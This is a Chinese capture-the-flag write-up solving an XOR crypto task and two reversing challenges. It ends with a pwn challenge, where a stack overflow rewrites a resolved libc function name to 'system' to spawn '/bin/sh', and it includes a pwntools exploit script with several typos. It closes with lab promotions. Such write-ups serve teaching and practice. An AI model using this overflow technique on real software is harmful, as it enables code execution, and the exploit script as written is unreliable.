0x01 前言
这是2020年的第一场的ctf比赛,它已经结束两天,虽然好多大学生们都在准备着期末考试,但这个比赛的热度还有持续着呢,由于网络上关于这个比赛的题解,几乎很少或者不太详细,我就整理了一份详细的题解,没有全部记录,舍去了简单题的记录!并且本文中还夹有一些做题技巧,希望帮到大家!
0x02 Crypto1
下载得到 encode.py,fflag.png,fflag_e.png,flag_e.flag 四个文件
我们看下加密脚本encode.py 的内容:
from itertools import *
from key import key
ki= cycle(key)
fr1 = open("flag.png","rb")
fr2 = open("fflag.png","rb")
fw1 = open("flag_e.png","wb")
fw2 = open("fflag_e.png","wb")
for now in fr1:
for nowByte in now:
newByte = nowByte ^ ord(next(ki))
fw1.write(bytes([newByte]))
fr1.close()
fw1.close()
for now in fr2:
for nowByte in now:
newByte = nowByte ^ ord(next(ki))
fw2.write(bytes([newByte]))
fr2.close()
fw2.close()
我们简单分析下加密脚本encode.py:
flag.png的每个字节与迭代器 ki[]中数据循环进行 亦或运算 得到 flag_e.flag fflag.png的每个字节与迭代器 ki[]中数据循环进行 亦或运算 得到fflag_e.png 两个图片的 加密算法 是一样的
思路很明确:要得到 flag.png:
现在我们知道 fflag_e.png 和 fflag.png ,所以我们可以反推出 迭代器 ki[] 中的数据。然后 我们再通过 ki[] 和 flag_e.flag 反推出 flag.png
迭代器 ki[]中数据 = fflag.png的每个字节 与fflag_e.png的每个字节 循环进行 亦或运算 flag.png的每个字节 = 迭代器 ki[]中数据 与 flag_e.flag的每个字节 循环进行 亦或运算
我们可以参考它给的 加密脚本encode.py 来写 出解密脚本decode1.py
#coding:utf8
fflag= open("fflag.png","rb")
fflag_e= open("fflag_e.png","rb")
fflag_zijie=[]
fflag_e_zijie=[]
ki=[]
for now in fflag:
for nowByte in now:
fflag_zijie.append(nowByte)
#print fflag_zijie
print len(fflag_zijie)#5165
for now in fflag_e:
for nowByte in now:
fflag_e_zijie.append(nowByte)
# print fflag_e_zijie
print len(fflag_e_zijie)#5165
for i in range(len(fflag_zijie)):
ki.append(ord(fflag_zijie[i])^ord(fflag_e_zijie[i]))
#print ki#[65, 108, 105, 116, 97, 95, 105, 115, 95, 115, 111, 95, 99, 117, 116, 101] 循环重复
print len(ki)#5165
fflag.close()
fflag_e.close()
flag= open("flag.png","wb")
flag_e= open("flag_e.png","rb")
flag_e_zijie=[]
for now in flag_e:
for nowByte in now:# 通过迭代器逐行访问
flag_e_zijie.append(nowByte)# 通过迭代器逐字符处理
# print flag_e_zijie # 即我们可以得到密钥 key_0=[65,108,105,116,97,95,105,115,95,115,111,95,99,117,116,101]
key_0=[65,108,105,116,97,95,105,115,95,115,111,95,99,117,116,101]
key=''
for i in range(len(key_0)):
key+=chr(key_0[i])
print key;#Alita_is_so_cute
现在我们得到了密钥 key="Alita_is_so_cute",通过它生成迭代器 ki,进而反推出 flag.png
#coding:utf8
from itertools import *
flag= open("flag.png","wb")
flag_e= open("flag_e.png","rb")
flag_e_zijie=[]
key="Alita_is_so_cute"
ki=cycle(key)
for now in flag_e:
for newByte in now:
newByte=ord(newByte)^ord(next(ki))
flag.write(bytes(chr(newByte)))
flag.close()
flag_e.close()
运行,即可得到解密后的flag.png 图片 ,查看图片即可
实验学习:CTF-Crypto练习:http://www.hetianlab.com/cour.do?w=1&c=C172.19.104.182015011915525400001
Crypto是CTF竞赛中的主要题型之一,主要考查密码学相关知识点,CTF-Crypto系列实验覆盖了替换密码、RSA、AES等加密算法,以及中间人攻击、中间相遇攻击等知识点。
0x03 扫雷 mine
我们下载后 得到一个 扫雷游戏的 mine.exe 游戏,打开后
我刚看到这题,蒙了,我的天哪,扫雷啊!这怎么逆向,后来发现不过如此!
首先,这个游戏的玩法和规则是 和我们平时玩的扫雷 游戏一样,
扫雷失败,提示我们 "游戏结束"
猜测,如果我们将 所有类都排出来 便后给我们flag!
然后我们将它拖入ida 中,查看 main函数:
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
FILE *v3; // rax
CONSOLE_SCREEN_BUFFER_INFO csbi; // [rsp+20h] [rbp-30h]
HANDLE handle_out; // [rsp+38h] [rbp-18h]
int j_0; // [rsp+40h] [rbp-10h]
int i_0; // [rsp+44h] [rbp-Ch]
int j; // [rsp+48h] [rbp-8h]
int i; // [rsp+4Ch] [rbp-4h]
_main();
::j = 1;
v3 = __iob_func();
freopen(&Filename, "r", v3);
while ( 1 )
{
handle_out = GetStdHandle(0xFFFFFFF5);
GetConsoleScreenBufferInfo(handle_out, &csbi);
Hide();
Beginning();
a = GetTickCount();
do
{
while ( 1 )
{
do
{
while ( kbhit() == 0 )
{
Sleep(0xAu);
LABEL_44:
b = GetTickCount();
SetConsoleTextAttribute(handle_out, 4u);
position(80, 7);
printf("用时:"); // 游戏结束!
if ( b - a <= 0x927BF )
printf("0");
printf("%d:", (b - a) / 0xEA60);
if ( (b - a) / 0x3E8 % 0x3C <= 9 )
printf("0");
printf("%d:", (b - a) / 0x3E8 % 0x3C);
if ( (b - a) / 0xA % 0x64 <= 9 )
printf("0");
printf("%d", (b - a) / 0xA % 0x64);
}
spare[0] = getch();
}
while ( spare[0] != -32 && spare[0] != 13 && spare[0] != 32 );
if ( spare[0] != 13 )
goto LABEL_27;
if ( mode & 1 )
break;
if ( map[30 * floatx + floaty] == 64 && !flag[0][30i64 * floatx + floaty] )
goto LABEL_52;
if ( flag[0][30i64 * floatx + floaty] != 1 )
{
Open();
position(0, 0);
SetConsoleTextAttribute(handle_out, 2u);
for ( i = 0; i <= 29; ++i )
{
for ( j = 0; j <= 29; ++j )
Lump(i, j);
printf("\n");
}
position(2 * floaty, floatx);
SetConsoleTextAttribute(handle_out, 1u);
Lump(floatx, floaty);
goto LABEL_27;
}
}
}
while ( map[30 * floatx + floaty] == 120 || map[30 * floatx + floaty] > 48 && map[30 * floatx + floaty] <= 56 );
if ( flag[0][30i64 * floatx + floaty] )
{
--flagnum;
flag[0][30i64 * floatx + floaty] = 0;
}
else
{
++flagnum;
flag[0][30i64 * floatx + floaty] = 1;
}
position(2 * floaty, floatx);
SetConsoleTextAttribute(handle_out, 1u);
Lump(floatx, floaty);
LABEL_27:
if ( spare[0] == 32 )
Mode();
if ( spare[0] == -32 )
{
news = getch();
Move();
}
for ( i_0 = 0; i_0 <= 29; ++i_0 )
{
for ( j_0 = 0; j_0 <= 29; ++j_0 )
{
if ( map[30 * i_0 + j_0] == 120 || map[30 * i_0 + j_0] > 48 && map[30 * i_0 + j_0] <= 56 )
++game;
}
}
if ( game != 601 )
{
game = 1;
SetConsoleTextAttribute(handle_out, 4u);
position(80, 5);
printf(&byte_486016, (unsigned int)(300 - flagnum));
goto LABEL_44;
}
LABEL_52: // 我们重点注意下 这个 LABEL_52 中的内容
SetConsoleTextAttribute(handle_out, 4u);
position(5, 5);
if ( game == 1 ) // 关键判断
{
printf("游戏结束!");
}
else
{
re(); // re()函数 是我们的关键函数 我们跟进去
Sleep(0x186A0u);
}
position(5, 8);
Sleep(0x3E8u);
printf("任意键重玩");
scanf("%c%c", spare, spare);
system("cls");
position(0, 0);
}
}
我们发现,代码量很大,但逆向的是找到我们想要的关键算法,得到目的信息,当然这里我们的目的信息就是 flag 了,我们根据字符串 "游戏结束" 定位到 main函数几乎最下面的 LABEL_52 部分
LABEL_52: // 我们重点注意下 这个 LABEL_52 中的内容
SetConsoleTextAttribute(handle_out, 4u);
position(5, 5);
if ( game == 1 ) // 关键判断
{
printf("游戏结束!");
}
else
{
re(); // re()函数 是我们的关键函数 我们跟进去
Sleep(0x186A0u);
}
position(5, 8);
Sleep(0x3E8u);
printf("任意键重玩");
scanf("%c%c", spare, spare);
system("cls");
position(0, 0);
}
}
根据注释中的关键 判断 进而 得知 re()函数 是我们的关键函数 我们跟进去
void __cdecl re()
{
int k_0; // [rsp+20h] [rbp-10h]
int i_0; // [rsp+24h] [rbp-Ch]
int k; // [rsp+28h] [rbp-8h]
int i; // [rsp+2Ch] [rbp-4h]
if ( game == 601 ) // 如果扫除的雷(应该是) =601
{
for ( i = 0; i <= 37; ++i ) // 对 数组 flaga[i] 进行以下 运算
{
flaga[i] -= j++;
if ( j == 4 )
j = 0;
}
for ( k = 0; k <= 37; ++k ) // 输出 flag
printf("%c", (unsigned int)flaga[k]);
printf(" ");
}
else // 如果扫除的 雷(应该是)!=601
{ // 对 数组 flagb[i] 进行以下 运算
for ( i_0 = 0; i_0 <= 46; ++i_0 )
{
flagb[i_0] -= j++;
if ( j == 4 )
j = 0;
}
for ( k_0 = 0; k_0 <= 46; ++k_0 ) // 输出
printf("%c", (unsigned int)flagb[k_0]);
printf(" ");
}
}
真的是要我们自己玩通关的话,其实,也是可以出现flag的,但是 30*30 的扫雷,简直超级难扫除完,于是我们根据re()函数中 的 python 脚本去 将 flag 跑出来!
#coding:utf8
j=1
flaga=[0x67,0x6e,0x64,0x67,0x7c,0x67,0x34,0x30,0x62,0x66,0x66,0x33,0x3a,0x36,0x3c,0x62,0x62,0x37,0x3c,0x61,0x63,0x64,0x68,0x35,0x37,0x67,0x33,0x35,0x38,0x68,0x35,0x30,0x67,0x3a,0x3b,0x33,0x66,0x7f,0x26]
for i in range(38):
flaga[i]-=j
j=j+1
if j==4:
j=0
print flaga
flagaa=""
for i in range(38):
flagaa+=chr(flaga[i])
print flagaa #运行便得到flag{e10adc3949ba59abbe56e057f20f883e}
0x04 反编译不准确,就看汇编
问:这里我想大家可能会有个疑问,在re()函数中并没有对 j 赋值,所以我 python中的 j=1是如何来的?
答:这里其实是因为 ida 中 的反编译 并不是 完全 完美的,会有一些 瑕疵,但一般出现反编译后的信息 不太准确时,我们就要去从汇编层面去看:
于是,得到 j 初值 为 1
0x05 idc 脚本 dump ida 中数据
我想这个,当然更多对 初学者而言,是最想知道的,因为我最初学逆向的时候,不会dump ida中的数据,简直很让人抓狂!
我详细来记录下如何dump 数据,这里我选择 idc 脚本,就拿此题举例吧,
if ( game == 601 ) // 如果 扫除的 雷(应该是) =601
{
for ( i = 0; i <= 37; ++i ) // 对 数组 flaga[i] 进行以下运算
{
flaga[i] -= j++;
if ( j == 4 )
j = 0;
}
for ( k = 0; k <= 37; ++k ) // 输出 flag
printf("%c", (unsigned int)flaga[k]);
printf(" ");
}
我们要对数组 flaga[i] 进行运算,首先得要知道数组flaga[i]数据是什么,双击flaga:
然后我们在 ida 菜单栏 点击 File->Script Command,打开命令行窗口
我们第一步:选择idc,接着再写脚本,最后 Run
输出得结果:在ida中得Output 显示
auto i,start,end;
start = 0x471020;
end = 0x4710BC;
Message("\n---------\n");
for(i=start;i<end;i=i+4)
{
Message("0x%x,",Dword(i));
}
//跑出来得数组 flaga[i] (如下):
0x67,0x6e,0x64,0x67,0x7c,0x67,0x34,0x30,0x62,0x66,0x66,0x33,0x3a,0x36,0x3c,0x62,0x62,0x37,0x3c,0x61,0x63,0x64,0x68,0x35,0x37,0x67,0x33,0x35,0x38,0x68,0x35,0x30,0x67,0x3a,0x3b,0x33,0x66,0x7f,0x26
当然,如果想要了解更多,可以百度 搜索 ” IDC脚本 “
实验学习:CTF-REVERSE练习之逆向初探
http://www.hetianlab.com/expc.do?ec=ECID172.19.104.182014111410002900001(通过具体的实例介绍Ollydbg/IDA Pro/PEiD等工具在逆向分析中的基本使用方法,考察选手的逆向分析与调试能力。)
0x06 hijack
这道题,难度其实挺大,大概就十多个人做了出来!详细说下这题,希望可以帮到大家!内容较多,请详细看代码中注释。
首先下载下来发现是:64位得elf 程序,简单运行下 ,他让我们输入 flag ,随便输入,不符合要求,返回我们 "Wrong try again!"
~/桌面/yuandan/hijack$ ./hijack
please input flag
ziseyangwang
Wrong try again!
~/桌面/yuandan/hijack$
我们将他拖入ida,看main 函数:
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int v3; // ST0C_4
char s; // [rsp+10h] [rbp-70h]
unsigned __int64 v6; // [rsp+78h] [rbp-8h]
v6 = __readfsqword(0x28u);
memset(&s, 0, 0x64uLL);
memset(::s, 0, 0x64uLL);
puts("please input flag");
__isoc99_scanf("%60s", &s); //输入
v3 = strlen(&s);
sub_401320(::s, (__int64)&s, v3);
return 0LL;
}
主函数得程序逻辑,很简单 ,让我们输入 字符串,然后进入 函数sub_401320()中:我们双击进去观察:
signed __int64 __fastcall sub_401320(_BYTE *a1, __int64 a2, int a3)
{
_BYTE *v3; // rax
_BYTE *v4; // ST20_8
_BYTE *v5; // rax
_BYTE *v6; // rax
_BYTE *v7; // rax
_BYTE *v8; // rax
_BYTE *v9; // rax
_BYTE *v10; // rax
int i; // [rsp+18h] [rbp-Ch]
_BYTE *v13; // [rsp+1Ch] [rbp-8h]
_BYTE *v14; // [rsp+1Ch] [rbp-8h]
signed __int64 v15; // [rsp+1Ch] [rbp-8h]
v13 = a1;
for ( i = 0; i < a3 - 2; i += 3 )
{
v3 = v13;
v4 = v13 + 1;
*v3 = (*(_BYTE *)(i + a2) >> 2) + 48;
v5 = v4++;
*v5 = (16 * *(_BYTE *)(i + a2) & 0x30 | (*(_BYTE *)(i + 1LL + a2) >> 4) & 0xF) + 48;
*v4 = (4 * *(_BYTE *)(i + 1LL + a2) & 0x3C | (*(_BYTE *)(i + 2LL + a2) >> 6) & 3) + 48;
v6 = v4 + 1;
v13 = v4 + 2;
*v6 = (*(_BYTE *)(i + 2LL + a2) & 0x3F) + 48;
}
if ( i < a3 )
{
v7 = v13;
v14 = v13 + 1;
*v7 = (*(_BYTE *)(i + a2) >> 2) + 48;
if ( i == a3 - 1 )
{
*v14 = (16 * *(_BYTE *)(i + a2) & 0x30) + 48;
v8 = v14 + 1;
v15 = (signed __int64)(v14 + 2);
*v8 = 32;
}
else
{
*v14 = (16 * *(_BYTE *)(i + a2) & 0x30 | (*(_BYTE *)(i + 1LL + a2) >> 4) & 0xF) + 48;
v9 = v14 + 1;
v15 = (signed __int64)(v14 + 2);
*v9 = (4 * *(_BYTE *)(i + 1LL + a2) & 0x3C) + 48;
}
v10 = (_BYTE *)v15;
v13 = (_BYTE *)(v15 + 1);
*v10 = 32;
}
*v13 = 0;
return v13 + 1 - a1;
}
无敌像是 base64 加密函数呐, 当然,这件简单 说下base加密 过程
1. 首先将原str按每三个字节 分组,每个分组 3* 8 =24 位,进而得到str的所有 24 个二进位组成的 二进制位
2. 然后将上面的 二进制位 按每6位再分成1组,3个字节可分为 4组
3. 每组 就6 位,在前面给他们都补上两个 0 ,便是3个字节可成功 加密成 4个字节
如果想要详细地了解base64加密编码 可以在网上搜索下,或者在合天网安实验室学习,地址:
http://www.hetianlab.com/expc.do?ec=ECIDca55-efe6-43f7-997d-08d916955fc9
我们来看下这个base64加密函数,发现它并不是简单,我们在程序中找不到 table表,它采用了动态生成的方式,
我们再继续向下看,发现魔改的 base64 加密结束后,我们继续回到我们的主函数,发现程序结束了,和我们最初运行程序的 逻辑 不一致啊!我们字符串中也找不到关键字符串"Wrong try again!"
我们再ida 函数栏,函数并不太多 ,我们去找下有用信息:
sub_401216() :
void sub_401216()
{
if ( (signed int)sub_4011A6() >= 0 )
srand(0x21436587u);
else
srand(0x12345678u); //动态调试 srand 种子为其实是 0x12345678
}
sub_401250()函数:
void sub_401250()
{
signed int i; // [rsp+8h] [rbp-8h] //当种子 为 0x12345678 动态调试查看或者 写脚本
// 可得到 经过此函数中的运算:
// byte_404080[16]=[66, 250, 204, 150, 144, 70, 112, 123, 93, 54, 128, 212, 10, 125, 248, 62]
// byte_4040A0[16]=[146, 201, 52, 157, 186, 206, 146, 74, 233, 193, 214, 214, 166, 34, 76, 213]
signed int j; // [rsp+Ch] [rbp-4h]
for ( i = 0; i <= 15; ++i )
byte_404080[i] ^= rand() % 255;
for ( j = 0; j <= 15; ++j )
byte_4040A0[j] ^= rand() % 255;
}
sub_401738()函数:
int sub_401738()
{
size_t v0; // rax
int result; // eax
v0 = strlen(s);
if ( !memcmp(s, &unk_4040C0, v0) )
result = printf("%s", byte_404080);
else
result = printf("%s", byte_4040A0);
return result;
}
函数中的 memcmp函数 看起来很像我们 最终的 check 函数,这个操作真的厉害了,不动态的话,还以为 memcmp 函数 是 动态库中 的呢,动态调试发现,其实它是自定义的函数,即sub_401557()
// 经过调试 我们可以知道
// a1 是我们 输入字符串经过魔改后 base加密后 的字符串
// a3 是 我们输入字符串经过魔改base64加密后的长度
// a2 是unk_4040C0中的 数组[56]
signed __int64 __fastcall sub_401557(const char *a1, const char *a2, unsigned int a3)
{
char v4; // bl
unsigned int v5; // [rsp+Ch] [rbp-A4h]
unsigned int i; // [rsp+28h] [rbp-88h]
unsigned int j; // [rsp+2Ch] [rbp-84h]
__int64 v8; // [rsp+30h] [rbp-80h]
__int64 v9; // [rsp+38h] [rbp-78h]
__int64 v10; // [rsp+40h] [rbp-70h]
__int64 v11; // [rsp+48h] [rbp-68h]
__int64 v12; // [rsp+50h] [rbp-60h]
__int64 v13; // [rsp+58h] [rbp-58h]
__int64 v14; // [rsp+60h] [rbp-50h]
__int64 v15; // [rsp+68h] [rbp-48h]
__int64 v16; // [rsp+70h] [rbp-40h]
__int64 v17; // [rsp+78h] [rbp-38h]
__int64 v18; // [rsp+80h] [rbp-30h]
__int64 v19; // [rsp+88h] [rbp-28h]
int v20; // [rsp+90h] [rbp-20h]
unsigned __int64 v21; // [rsp+98h] [rbp-18h]
v5 = a3;
v21 = __readfsqword(0x28u);
if ( strlen(a1) != a3 || strlen(a2) != v5 ) // a2的长度是56,可以知道输入的字符串 一定是 42 位
return 0LL;
v8 = 0LL;
v9 = 0LL;
v10 = 0LL;
v11 = 0LL;
v12 = 0LL;
v13 = 0LL;
v14 = 0LL;
v15 = 0LL;
v16 = 0LL;
v17 = 0LL;
v18 = 0LL;
v19 = 0LL;
v20 = 0;
memset(&v8, 0, 0x64uLL);
for ( i = 0; v5 > i; ++i ) // 循环 56 次
{
v4 = a2[i];
*((_BYTE *)&v8 + (signed int)i) = v4 ^ rand() % 200;// 随机数种子是 0x12345678
}
for ( j = 0; v5 > j; ++j )
{
if ( *((_BYTE *)&v8 + (signed int)j) != a1[j] )
return 0LL;
}
return 1LL;
}
经过我们静态分析和动态调试,发现程序的执行流程 是这样的
首先程序 从 0x12345678 和 0x21436587 选择了前者 作为随机数种子
然后 我们输入字符串 flag
程序对其进行 魔改的base64 加密 得到 flag_encode 字符串
flag_encode 字符串再与 经过运算后的unk_4040C0[56] 作比较要相等才可以
所以,我们我们要想获得flag,首先要得到经过运算后的unk_4040C0[56],然后进行 魔改的base64 解密即可
首先我们来得到 运算后的unk_4040C0[56] 的数据是怎么样的
#coding:utf8
from ctypes import *
libc=cdll.LoadLibrary("./libc.so.6")
libc.srand(0x21436587) # 所以,这题我们 我们得选择 程序没有选择的 随机数种子 0x21436587
#libc.srand(0x12345678) #因为 随机数种子为 0x12345678 的时候 最后求得 运算后的unk_4040C0[56] 为乱码
#下面注释中的 数据 都是 以随机数种子为 0x12345678 求得的
byte_404080=[0x0A, 0x16, 0x4A, 0x66, 0xF0, 0x2C, 0x5A, 0xE0, 0x0D, 0xEF,0xBB, 0xC1, 0xD5, 0x9C, 0x8F,0x81]
for i in range(16):
n=libc.rand()%255
byte_404080[i]=byte_404080[i]^n
print byte_404080#[66, 250, 204, 150, 144, 70, 112, 123, 93, 54, 128, 212, 10, 125, 248, 62]
byte_4040A0=[0x76, 0xF8, 0x19, 0xEA, 0xF3, 0x95, 0xDE, 0x26, 0xC5, 0xAD, 0x0C, 0x58, 0x68, 0x01, 0xBC, 0xC2]
for i in range(16):
n=libc.rand()%255
byte_4040A0[i]=byte_4040A0[i]^n
print byte_4040A0#[146, 201, 52, 157, 186, 206, 146, 74, 233, 193, 214, 214, 166, 34, 76, 213]
a2=[0xE8, 0x05, 0x4E, 0xF1, 0xF8, 0xFC, 0x5D, 0xD0, 0x06, 0x3D,
0x48, 0xC1, 0xE0, 0xF8, 0x11, 0xFB, 0xED, 0x0D, 0xD6, 0xD9,
0x60, 0x1A, 0xC5, 0x2A, 0xF2, 0xA3, 0xC2, 0x24, 0x41, 0x46,
0xF2, 0xC0, 0x0B, 0x10, 0x2E, 0xF6, 0x6A, 0xAC, 0x30, 0x03,
0x81, 0x1B, 0x41, 0xC6, 0x79, 0x63, 0xBE, 0x9E, 0xD5, 0x20,
0x1F, 0xC1, 0xFE, 0x51, 0x02, 0xE1] #这里a2 即是unk_4040C0[56] 原来的数据
v8=''
for i in range(56):
v8+=chr(a2[i]^libc.rand()%200)
print v8 #v8 为运算后的unk_4040C0[56]
#随机数种子0x214365
# v8="I31OKTmdGf@cHUEWGdddGbI^I5mVBFMe=fEO<7EdGfPaJV53JemWCg@Q"
最后我们再对 v8 进行 魔改 base 解密即可,我把上面的图,放在这方便查看:
这个魔改base64 并没有像正常的base64 去查表,而是在取6位之后 +48 即"0", 当然 也相当于 查表
我们在在写解密脚本的时候需要在 先将 v8 中的数据都先 - 48 即‘0’ 得到
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"表中的下标,通过下找到的table中的值就是正确的base64编码,然后再解码就是flag了
所以 python 脚本 这样写:
import base64
v8 = 'I31OKTmdGf@cHUEWGdddGbI^I5mVBFMe=fEO<7EdGfPaJV53JemWCg@Q'
print len(v8)#56
table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
flag = ''
for i in range(56):
flag += table[ord(v8[i])-48]
flag = base64.b64decode(flag)
print flag
于是 得到 falg:d0_nOt_d3bUg_M4_&nd_fIgu7e_0ut_h1jaCk_gOt!
0x07 pwn_arg
首先 ,我们查看下 它的文件属性和开启了什么保护
~/桌面/yuandan/arg$ file arg
arg: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-,
for GNU/Linux 2.6.32, BuildID[sha1]=5ee08f2d1ba1c9bd7a5290db45978a949d7179ab, not stripped
~/桌面/yuandan/arg$ checksec arg
[*] '/home/ziseyangwang/\xe6\xa1\x8c\xe9\x9d\xa2/yuandan/arg/arg'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
32位的elf 程序,仅开启了 NX 保护
拖入ida 查看:
int __cdecl main(int argc, const char **argv, const char **envp)
{
init();//初始化
return checker(305419896);
}
我们进去checker(305419896) 函数 中:
int __cdecl checker(int a1)
{
char buf; // [esp+Eh] [ebp-3Ah]
char name[4]; // [esp+2Ch] [ebp-1Ch]
char *s; // [esp+34h] [ebp-14h]
int (__cdecl *v5)(int); // [esp+38h] [ebp-10h]
int v6; // [esp+3Ch] [ebp-Ch]
v6 = 8;
strcpy(name, "malloc"); //给局部变量 name 赋初值 "malloc"
printf("your input : ");
read(0, &buf, 0x4Au); //这里明显存在 栈溢出漏洞 0x4A > 0x3A
strncpy(st, &buf, 8u);//将我们的输入的前8个字符赋值给全局变量st
v5 = (int (__cdecl *)(int))load(name);//v5=malloc()
if ( a1 != 0xDEADBEEF )
return puts("Think about it ");
s = (char *)v5(v6); //malloc(v6)
__isoc99_scanf("%s", s);
return puts(s);
}
全局变量st:
在这之前 我们要了解下 v5 = (int (__cdecl *)(int))load(name);
void *__cdecl load(char *name)
{
char *v1; // eax
void *handle; // [esp+8h] [ebp-10h]
void *v4; // [esp+Ch] [ebp-Ch]
handle = dlopen("/lib32/libc.so.6", 258);
if ( !handle )
{
v1 = dlerror();
printf("dlopen - %s\n", v1);
exit(0);
}
v4 = dlsym(handle, name);
if ( !v4 )
{
puts("Can't load function");
exit(0);
}
dlclose(handle);
return v4;
}
这里的 load 函数,它是根据传入的参数 字符串name 进而找到的libc库中的函数地址 然后返回给了v5,
我们来分析下 怎么 pwn 掉这个程序? 执行 system('/bin/sh') 。
程序中的 read 函数 存在 栈溢出漏洞,buf 离ebp距离 为0x3A,但我们却可以读入 0x4A 的数据,虽然可以溢出,但溢出去的长度太有限,于是我们考虑下 从 load(name) 函数 入手!
构造payload:
1. system 是 libc 中 的函数,我们 将局部变量name 覆盖为 system
2. 我们将 v6 覆盖为 /bin/sh 所在的地址,即 st 地址
3. 全局变量st = payload 前 8个字符,paylaod前八个字符为 /bin/sh\x00
4. 当参数 a1为 0xDEADBEEF 时 才会 执行 v5(v6) ,所以我们还要将 参数 a1 覆盖为 0xDEADBEEF!
详见下图:
所以 payload 为
payload="/bin/sh\x00".ljust(0x1e,"\x00")+"system\x00" #0x3a-0x1c
payload=payload.ljust(0x2e,"\x00")+p32(st_addr) #因为程序是32 位程序
payload=payload.0ljust(0x3e,"\x00") #ebp
payload+=p32(0) #返回地址
paylaod+=p32(0xdeadbeef) #参数 1
python脚本 如下:
#coding:utf8
from pwn import *
conn=process(./arg)
payload="/bin/sh\x00".ljust(0x1e,"a")+"system\x00" #0x3a-0x1c
payload=payload.ljust(0x2e,"a")+p32(st_addr) #因为程序是32 位程序
payload=payload.0ljust(0x3e,"a") #ebp
payload+=p32(0) #返回地址
paylaod+=p32(0xdeadbeef) #参数 1
conn.recvuntil("your input : ")
conn.sendline(payload)
conn.interactive()
实验学习:CTF-PWN进阶训练
http://www.hetianlab.com/cour.do?w=1&c=C172.19.104.182015111814415800001
旨在帮助CTF初学者快速掌握复杂PWN题型的基本解题思路与技巧,包括溢出模型、信息泄露、ROP等
0x08 后记
我也想上年度评优作品啊!!!
希望本文能给大家带来帮助! 合天网安实验室挺好的,可以去看看呐!
别忘了投稿哦
大家有好的技术原创文章
欢迎投稿至邮箱:edu@heetian.com
合天会根据文章的时效、新颖、文笔、实用等多方面评判给予200元-800元不等的稿费哦
有才能的你快来投稿吧!
点击阅读原文还能学习哦!
了解投稿详情点击——重金悬赏 | 合天原创投稿涨稿费啦!